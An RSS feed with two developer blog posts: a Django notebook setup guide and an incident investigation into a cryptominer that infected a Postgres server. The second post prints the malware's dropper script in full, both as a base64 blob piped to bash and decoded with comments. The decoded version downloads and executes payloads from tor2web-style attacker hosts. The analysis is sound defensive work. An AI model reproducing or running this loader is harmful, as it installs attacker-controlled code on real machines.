<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: sanchitsharma</title>
    <description>The latest articles on DEV Community by sanchitsharma (@sanchitsharma).</description>
    <link>https://dev.to/sanchitsharma</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F350797%2F5d3eb3bf-3fa3-4a8a-8b6b-5a03b780c0be.jpg</url>
      <title>DEV Community: sanchitsharma</title>
      <link>https://dev.to/sanchitsharma</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sanchitsharma"/>
    <language>en</language>
    <item>
      <title>Data Analysis Setup on Django data on Single machine</title>
      <dc:creator>sanchitsharma</dc:creator>
      <pubDate>Fri, 10 Apr 2020 15:29:01 +0000</pubDate>
      <link>https://dev.to/sanchitsharma/data-analysis-setup-on-django-data-on-single-machine-57nn</link>
      <guid>https://dev.to/sanchitsharma/data-analysis-setup-on-django-data-on-single-machine-57nn</guid>
      <description>&lt;p&gt;We at my workplace use Django based backend and frequently need to perform data analysis tasks on the data in the django models. This post provides a basic setup for allowing data analysts to analyse data using the jupyter notebook.&lt;/p&gt;

&lt;p&gt;Note: This can be done in a lot better way using docker, jupyterlab, separate machines etc, there is no limit. This post just aims to outline the setup which was done in the constraints and timeline available.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://django-extensions.readthedocs.io/en/latest/shell_plus.html"&gt;shell_plus&lt;/a&gt; - Django shell with all models imported already in a jupyter notebook and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://supervisord.org/"&gt;supervisor&lt;/a&gt; - to run the notebook server continuously in background&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.postgresql.org/"&gt;postgresql&lt;/a&gt; - Database. Creating a read only user so that analysts can work on latest production db without risk of changing it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Cgroups"&gt;cgroups&lt;/a&gt; - For making sure that notebook only consumes limited amount of CPU and memory&lt;/p&gt;

&lt;h2&gt;
  
  
  Use django_extensions
&lt;/h2&gt;

&lt;p&gt;Install django_extensions as an app in your django project. Instructions for installation and usage are available on &lt;a href="https://django-extensions.readthedocs.io/en/latest/"&gt;https://django-extensions.readthedocs.io/en/latest/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once done you will be able to run and test the notebook via&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./manage.py shell_plus --notebook
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  Setup a readonly user for postgres
&lt;/h2&gt;

&lt;p&gt;Help take from &lt;a href="https://stackoverflow.com/a/42044878/1660759"&gt;https://stackoverflow.com/a/42044878/1660759&lt;/a&gt; and &lt;a href="https://stackoverflow.com/a/54193832/1660759"&gt;https://stackoverflow.com/a/54193832/1660759&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CREATE ROLE Read_Only_User WITH LOGIN PASSWORD 'Test1234' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE NOREPLICATION VALID UNTIL 'infinity';
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Statements after this need to be run while connected to YourDatabaseName&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GRANT CONNECT ON DATABASE YourDatabaseName TO Read_Only_User;
GRANT USAGE ON SCHEMA public TO Read_Only_User;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO Read_Only_User;
GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO Read_Only_User;
#So that new tables are in this database are automatically accessible to this user
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO Read_Only_User; 
#for functions
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO Read_Only_User;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  Setup separate settings file
&lt;/h2&gt;

&lt;p&gt;[Or manage through environment variables. If that is what you do you know how to do that for this example👌]&lt;/p&gt;

&lt;p&gt;Create a new settings file, import settings from main settings file and replace the database settings with new readonly user&lt;/p&gt;

&lt;p&gt;settings_database_readonly.py&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from .settings import *

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': '&amp;lt;db_name&amp;gt;',
        'USER': '&amp;lt;readonly_username&amp;gt;',
        'PASSWORD' : '&amp;lt;readonly_user_password&amp;gt;',
        'HOST': '&amp;lt;db_address&amp;gt;',
        'PORT': '&amp;lt;db_port&amp;gt;',
    }
}

NOTEBOOK_ARGUMENTS = [
    '--port', '9999',
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  Limit Usage of notebook's process CPU and RAM
&lt;/h2&gt;

&lt;p&gt;For limiting usage of ram and cpu I explored cpu_limit and nice but cpu_limit does not give memory and nice does not give granular control over limits. After some research I finalised on cgroups.&lt;/p&gt;

&lt;p&gt;cgroups has very less posts around there, and i didn't want to write just some commands and rather use a config file. This decision turned out not simple enough to follow through given the documentation out there.&lt;/p&gt;

&lt;p&gt;Comparison between cpulimiti, nice and cgroups - &lt;a href="https://scoutapm.com/blog/restricting-process-cpu-usage-using-nice-cpulimit-and-cgroups"&gt;https://scoutapm.com/blog/restricting-process-cpu-usage-using-nice-cpulimit-and-cgroups&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Guide for using cgroups using config file &lt;a href="https://www.paranoids.at/cgroup-ubuntu-18-04-howto/"&gt;https://www.paranoids.at/cgroup-ubuntu-18-04-howto/&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apt install cgroup-tools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Copy conf file from examples&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cp /usr/share/doc/cgroup-tools/examples/cgred.conf /etc/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;/etc/cgconfig.conf - limiting 10% CPU Usage and 1G memory&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;group notebooks {
     cpu {
         cpu.cfs_quota_us=10000;
     }
     memory {
         memory.limit_in_bytes = 1024m;
     }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;/etc/cgrules.conf - This will limit every process of the processes running in group notebooks to 10% CPU and 1G of memory.&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#&amp;lt;user&amp;gt;    &amp;lt;controllers&amp;gt;           &amp;lt;destination&amp;gt;
notebooks       cpu,memory              notebooks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For testing use this commands:&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/sbin/cgconfigparser -l /etc/cgconfig.conf
/usr/sbin/cgrulesengd -vvv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  Supervisor
&lt;/h2&gt;

&lt;p&gt;Setup supervisor - &lt;a href="http://supervisord.org/"&gt;supervisor&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Use the following configuration in supervisor.conf for running the notebook using cgroup&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[program:readonly_shell_notebook]
environment=DJANGO_SETTINGS_MODULE="dashboard.settings_database_readonly"
command=cgexec -g cpu,memory:notebooks /home/videoken-engage/.virtualenvs/django_project/bin/python ../manage.py shell_plus --notebook
directory=&amp;lt;directory of django project&amp;gt;
stdout_logfile=&amp;lt;path_to_log_file&amp;gt;
stderr_logfile=&amp;lt;path_to_log_file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;cgexec command is used to run any process in a given cgroup.&lt;/p&gt;

&lt;p&gt;Due to using configuration files for cgroups, a file is sometimes not given proper permissions. I was getting the following error while running the cgexec command - &lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cgroups error: cgroup change of group failed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This fixed the problem&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chown &amp;lt;my_ubunut_username&amp;gt; /sys/fs/cgroup/memory/notebooks/tasks
chown &amp;lt;my_ubuntu_username&amp;gt; /sys/fs/cgroup/cpu/notebooks/tasks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;PS: This was my first usage of cgroups after the initial reading I did for understanding of Docker internals. I might be overlooking some concepts, any inputs regarding that is specifically welcome 👐.&lt;/p&gt;

</description>
      <category>django</category>
      <category>postgres</category>
      <category>devops</category>
      <category>cgroup</category>
    </item>
    <item>
      <title>Investigation into Postgres malware (hack?)</title>
      <dc:creator>sanchitsharma</dc:creator>
      <pubDate>Fri, 20 Mar 2020 09:42:05 +0000</pubDate>
      <link>https://dev.to/sanchitsharma/investigation-into-postgres-malware-hack-2ai0</link>
      <guid>https://dev.to/sanchitsharma/investigation-into-postgres-malware-hack-2ai0</guid>
      <description>&lt;p&gt;A database machine I was handling got infected by a malware, potentially a crypto miner, via a feature in Postgres. This feature, due to our recent shifting of infra resulting in lax of security policies almost cost us couple days of hair pulling. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.postgresql.org/about/news/1935/"&gt;CVE-2019-9193: Not a Security Vulnerability&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This post is an account of how I investigated into the issue and thwarted the attack (hopefully :D. The rogue process has not started again, yet).&lt;/p&gt;

&lt;h1&gt;
  
  
  The Problem
&lt;/h1&gt;

&lt;p&gt;It started with our api server showing logs of database not found. 😱&lt;/p&gt;

&lt;p&gt;The database had been deleted suddenly. Checking the logs of postgres, a delete command particularly was issued by the postgres user. &lt;/p&gt;

&lt;p&gt;Looking at the htop, this was the output. There was a random process started by postgres user hogging all CPU resources.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dck17kF---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/9ub7jzeharclkornjvxq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dck17kF---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/9ub7jzeharclkornjvxq.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;One of the things I have not grasped about this yet, if the intention was to use our CPU resources, why delete the database?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And also, how did the script understand in particular which database to delete, (it is possible it could have deleted whatever databases which were available one by one but since we had only one DB, its seemed odd).&lt;/p&gt;

&lt;h1&gt;
  
  
  Salvage
&lt;/h1&gt;

&lt;p&gt;Going by my earlier experiences, I thought of just killing the process and adding security restrictions to pg_hba file for further security. But lo, 10 minutes after killing the process the script was up again.  😒.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--XiXN0OHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mrjchtwb75b7j5ojbut0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XiXN0OHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mrjchtwb75b7j5ojbut0.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we decided to recreate machine from the backup we had of couple days ago. All good, right?&lt;/p&gt;

&lt;p&gt;NO.&lt;/p&gt;

&lt;p&gt;As you might have guessed, the server was infected some days ago, just the db was deleted today. So minutes after starting the machine again, there was once again this random process hogging the CPU. &lt;/p&gt;

&lt;p&gt;The first thing we did was to revoke access of postgres user from our main DB and meanwhile create a new machine from scratch and then transfer our DB to it 😢.&lt;/p&gt;

&lt;h1&gt;
  
  
  The Investigation
&lt;/h1&gt;

&lt;p&gt;While a new machine was getting created, which was taking a lot of time due to large disk size, I happened to read this article while researching about celery tasks stopping.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.celeryproject.org/"&gt;Celery: Distributed Task Queue&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was the article I was reading - &lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.caktusgroup.com/blog/2013/10/30/using-strace-debug-stuck-celery-tasks/"&gt;Using strace to Debug Stuck Celery Tasks | Caktus Group&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Reading this article I realised I could strace and lsof for investigating into my issue as well.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;strace is a powerful command line tool for debugging and trouble shooting programs in Unix-like operating systems such as Linux. It captures and records all system calls made by a process and the signals received by the process.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://www.tecmint.com/strace-commands-for-troubleshooting-and-debugging-linux/"&gt;https://www.tecmint.com/strace-commands-for-troubleshooting-and-debugging-linux/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;lsof is a command meaning "list open files", which is used in many Unix-like systems to report a list of all open files and the processes that opened them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Lsof"&gt;https://en.wikipedia.org/wiki/Lsof&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Steps
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Checked strace of the cpu hogging command (CHC). Looked like it was mostly waiting and was receiving some json messages every now and then.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GrFW7NHx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/j1ncueqyx95jifhmwypl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GrFW7NHx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/j1ncueqyx95jifhmwypl.png" alt="strace of CHC"&gt;&lt;/a&gt;&lt;em&gt;strace of CHC&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;checked lsof of CHC - checked file descriptors pointing to a file in temp - which has pid of another process - main process (MP). [tmp/.X11-unix/11 file contained a number which when I checked in ps aux output gave another randomly named process running by postgres user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uCAgW-eW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wdmm6u9nvcj9s4ank1r3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uCAgW-eW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wdmm6u9nvcj9s4ank1r3.png" alt="lsof of CHC"&gt;&lt;/a&gt;&lt;em&gt;lsof of CHC&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checked strace of MP - the command was mostly sleeping. A THEORY -  The MP is starting the CHC every time CHC is killed [Seems obvious now, I know but validating it experimentally is some thing 😄]&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To check my theory, I killed CHC, kept monitoring htop and strace of MP. Indeed, activity happened in PO strace and couple unprecedented calls happened in htop via postgres user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Dc7wFcuF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/hegu95hpwxorc7byla3k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Dc7wFcuF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/hegu95hpwxorc7byla3k.png" alt="MP wakes from sleep and starts CHC"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;MP wakes from sleep and starts CHC&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QUJsbHSA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mu1044j6hnsczqfn0cf9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QUJsbHSA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mu1044j6hnsczqfn0cf9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;wget from postgres user&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lePdYmBw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/f6bxpaz8598i16bdg607.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lePdYmBw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/f6bxpaz8598i16bdg607.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Shell command via postgres user.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Voila. Theory Validated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now having established relation between CHC and MP, I looked at lsof of MP. The lsof showed a deleted file in /var/lib/postgres folder. This file was also in lsof output of CHC. This made me look into the folder carefully.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When I ran ls -lah in the postgres folder, lo, the culprits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A7-C5zOI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/skid2i7ax5dl93ypk2k7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A7-C5zOI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/skid2i7ax5dl93ypk2k7.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Look at the hidden files .kpccv.sh  and .wget-hsts. It had also created a known-hosts file in .ssh folder which was created by postgres user.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Finally I deleted the listed files in the folder and killed MP and CHC. It has been few days, the server is fine, I hope all is good 😅&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Following are the contents of .kpccv.sh&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash
exec &amp;amp;&amp;gt;/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10ZW5jZW50eGp5NWtwY2N2CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluICRkaXIgL3RtcCAvdmFyL3RtcCAvZGV2L3NobSAvdXNyL2JpbiA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKeCgpIHsKZj0vaW50CmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDk5IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tOTkgLWZzU0xrQS0gJDEkeAp9CmZvciBoIGluIGQyd2ViLm9yZyBvbmlvbi5tbiB0b3Iyd2ViLmlvIHRvcjJ3ZWIudG8gb25pb24udG8gb25pb24uaW4ubmV0IDR0b3IubWwgb25pb24uZ2xhc3MgY2l2aWNsaW5rLm5ldHdvcmsgdG9yMndlYi5zdSBvbmlvbi5seSBvbmlvbi5wZXQgb25pb24ud3MKZG8KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMHxoZWFkIC1uIDEpL2lvOyB0aGVuCnggdGVuY2VudHhqeTVrcGNjdi4kaAplbHNlCmJyZWFrCmZpCmRvbmUKCmlmICEgbHMgL3Byb2MvJChjYXQgL3RtcC8uWDExLXVuaXgvMDB8aGVhZCAtbiAxKS9pbzsgdGhlbgooCnUgJHQuZDJ3ZWIub3JnIHx8CnUgJHQub25pb24ubW4gfHwKdSAkdC50b3Iyd2ViLmlvIHx8CnUgJHQudG9yMndlYi50byB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24ubHkgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h1&gt;
  
  
  Conclusions
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;Keep your database port open only to trusted machines. &lt;/li&gt;
&lt;li&gt;Change the default port as they are the ones usually attacked.&lt;/li&gt;
&lt;li&gt;strace and lsof are useful commands to keep in mind for debugging from a system level, especially for untrusted/unknown processes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I am still not very clear what exactly was happening in the attack, also because I was too keen to remove it and didn't pry more. Comments are welcome.&lt;/p&gt;
&lt;h1&gt;
  
  
  Update 1.
&lt;/h1&gt;

&lt;p&gt;I looked into the code that Daniel decoded. Here is a bit commented version of that. I tried to dig more into it but was stuck at the part where it tries to reach out a url using wget or curl. The incoming result then is executed into bash. I tried using tor browser too but to no result. Maybe the endpoint has now been taken down. It would be useful if someone could decipher more what is happening in the code more that what I have done. (I only know bash scripting from SO :P)&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exec &amp;amp;&amp;gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=tencentxjy5kpccv
#  match the passwd file with pattern
# (id -u commands gives the number id of current user)
#  grep x:$(id -u) matches the entry in passwd file of postgres user
#  and then using cut command find the 6th entry splitted using ":"
# the result is home directory of postgres user /var/lib/postgresql
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)

# run exit command in each of the following directory. What does this achieve?
for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do echo exit &amp;gt; $i/i &amp;amp;&amp;amp; chmod +x $i/i &amp;amp;&amp;amp; cd $i &amp;amp;&amp;amp; ./i &amp;amp;&amp;amp; rm -f i &amp;amp;&amp;amp; break;done


x() {
: "
this function just downloads the param and stores it with name of date md5 does not execute anything/. But since
it is making it executable, something else is executing it, don't know what.
"
f=/int

# do an md5sum hash of current date, split the output by &amp;lt;-&amp;gt; and take first element, which is essentialy the md5 digest
# of current date
d=./$(date|md5sum|cut -f1 -d-)

#wget 1 tries, timeout 99 seconds
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}

u() {
x=/crn
wget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x
}


: '
for each of the d2web.org.. strings as &amp;lt;h&amp;gt;
check if the process id written on top of /tmp/.X11-unix/00 file is doing any io by checking proc/&amp;lt;pid&amp;gt;/io file
if it is not then call the function x with param tencentxjy5kpccv.&amp;lt;h&amp;gt;
'
for h in d2web.org onion.mn tor2web.io tor2web.to onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
# call function x with the full url, where it appends it with /int calls wget
x tencentxjy5kpccv.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
(
# call the function on tencentxjy5kpccv.d2web.org or .. and if any of the call works pipe it into bash
u $t.d2web.org ||
u $t.onion.mn ||
u $t.tor2web.io ||
u $t.tor2web.to ||
u $t.onion.to ||
u $t.onion.in.net ||
u $t.4tor.ml ||
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.tor2web.su ||
u $t.onion.ly ||
u $t.onion.pet ||
u $t.onion.ws
)|bash
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>postgres</category>
      <category>devops</category>
      <category>security</category>
    </item>
  </channel>
</rss>
